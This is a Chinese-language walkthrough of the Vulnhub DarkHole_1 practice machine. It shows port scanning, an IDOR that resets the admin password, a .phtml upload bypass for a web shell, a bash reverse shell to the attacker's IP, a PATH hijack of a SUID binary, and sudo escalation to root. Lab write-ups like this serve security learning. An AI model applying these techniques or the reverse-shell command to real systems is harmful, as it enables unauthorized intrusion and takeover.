Vulnhub-DarkHole_1 题解
Vulnhub-DarkHole_1-Writeup
靶机地址:DARKHOLE: 1
Difficulty: Easy
扫描与发现
使用arp-scan发现目标IP
arp-scan -l

使用nmap扫描开放端口
nmap -sV -p- 192.168.164.193

目标探索
打开目标80端口发现没什么东西,查看源代码也没什么,只有一个登录连接

我们点进登录页面

想到可能是SQL注入,但是尝试之后没有结果。发现可以注册,输入用户名邮箱密码很容易可以注册成功,立马想到这里可能存在逻辑漏洞。登录之后是这样的

web shell
这里有更新数据功能,打开Burpsuite工具进行抓包,尝试修改admin用户的信息。设置用户名为admin,密码自己设置一个,比如123123,然后点击修改密码,抓包

数据包如下

这里应该是通过参数id值来修改对应用户密码的,我们将id值改为1,对应修改成admin密码,放出数据包提示密码修改成功,然后我们用admin账户登录,密码123123,登录成功,界面如下。

admin登录后多出来一个Upload功能,应该是利用文件上传拿到网站shell,经过探索后发现可以通过后缀.phtml绕过上传php脚本。可以上传一句话木马然后用蚁剑连接,获得虚拟终端

利用bash,反弹一个shell给kali
bash -c 'bash -i >& /dev/tcp/192.168.164.179/9999 0>&1'

用户shell
来到/home/john目录下发现有一个toto二进制文件执行id命令

发现uid为john,可以利用环境变量来切换得到john用户shell。在/tmp目录下
echo "/bin/bash" > /tmp/id
chmod +x /tmp/id
export PATH=/tmp:$PATH
./toto

root权限
拿到john权限后查看password文件,发现内容为root123

尝试用该密码进行ssh连接,发现可以连上darkhole用户。利用sudo发现其可以升为root

直接利用sudo提权,拿到flag

Vulnhub-DarkHole_1 题解的更多相关文章
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- Vulnhub-Empire: LupinOne题解
Vulnhub-Empire: LupinOne题解 本靶机为Vulnhub上Empire系列之LupinOne,地址:EMPIRE: LUPINONE 扫描与发现 利用arp-scan命令扫描靶机I ...
- 2016 华南师大ACM校赛 SCNUCPC 非官方题解
我要举报本次校赛出题人的消极出题!!! 官方题解请戳:http://3.scnuacm2015.sinaapp.com/?p=89(其实就是一堆代码没有题解) A. 树链剖分数据结构板题 题目大意:我 ...
- noip2016十连测题解
以下代码为了阅读方便,省去以下头文件: #include <iostream> #include <stdio.h> #include <math.h> #incl ...
- BZOJ-2561-最小生成树 题解(最小割)
2561: 最小生成树(题解) Time Limit: 10 Sec Memory Limit: 128 MBSubmit: 1628 Solved: 786 传送门:http://www.lyd ...
- Codeforces Round #353 (Div. 2) ABCDE 题解 python
Problems # Name A Infinite Sequence standard input/output 1 s, 256 MB x3509 B Restoring P ...
- 哈尔滨理工大学ACM全国邀请赛(网络同步赛)题解
题目链接 提交连接:http://acm-software.hrbust.edu.cn/problemset.php?page=5 1470-1482 只做出来四道比较水的题目,还需要加强中等题的训练 ...
- 2016ACM青岛区域赛题解
A.Relic Discovery_hdu5982 Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/65536 K (Jav ...
- poj1399 hoj1037 Direct Visibility 题解 (宽搜)
http://poj.org/problem?id=1399 http://acm.hit.edu.cn/hoj/problem/view?id=1037 题意: 在一个最多200*200的minec ...
- 网络流n题 题解
学会了网络流,就经常闲的没事儿刷网络流--于是乎来一发题解. 1. COGS2093 花园的守护之神 题意:给定一个带权无向图,问至少删除多少条边才能使得s-t最短路的长度变长. 用Dijkstra或 ...
随机推荐
- 网格布局GirdLayout在py中的引用,用于多行多列矩阵
""" GridLayout为网格布局为了部件为多行距阵 """ from kivy.uix.gridlayout import GridL ...
- Java多线程中的死锁
Java多线程中的死锁 死锁产生的原因 线程死锁是指由两个以上的线程互相持有对方所需要的资源,导致线程处于等待状态,无法往前执行. 当线程进入对象的synchronized代码块时,便占有了资源,直到 ...
- 机器学习:KNN
KNN:K-nearst neighbors 简介: k-近邻算法采用测量不同特征值之间的距离来进行分类,简而言之为:人以类聚,物以群分 KNN既可以应用于分类中,也可用于回归中:在分类的预测是,一般 ...
- Alpha阶段初始任务分配
项目 内容 这个作业属于哪个课程 2021春季软件工程(罗杰 任健) 这个作业的要求在哪里 团队项目-计划-Alpha阶段说明书 一.Alpha阶段总体规划 进行服务器相关部署 进行开发相关技术学习 ...
- TVS管性能及选型总结
https://wenku.baidu.com/view/5b5bda5526fff705cc170af8.html
- single-number leetcode C++
Given an array of integers, every element appears twice except for one. Find that single one. Note: ...
- mininet-2.2.2-170321-ubuntu-14.04.4-server-amd64的使用
1.使用Vmware打开下载好的mininet-2.2.2-170321-ubuntu-14.04.4-server-amd64 2.登录账号密码都为mininet 3.用命令行生成拓扑,并测试连通性 ...
- k8s入坑之路(4)kubenetes安装
三种安装方法: 1.kubeadm 2.kubespray 3.二进制安装 kubespray安装kubernetes集群 优点: 1.kuberspray对比kubeadm更加简洁内部集成了kube ...
- mac 工作区
https://www.zhihu.com/question/20917614 http://www.bjhee.com/mission-control.html 窗口切换 https://sspai ...
- 求求你们了,别再写满屏的 if/ else 了!
为什么我们写的代码都是 if-else? 程序员想必都经历过这样的场景:刚开始自己写的代码很简洁,逻辑清晰,函数精简,没有一个 if-else,可随着代码逻辑不断完善和业务的瞬息万变:比如需要对入参进 ...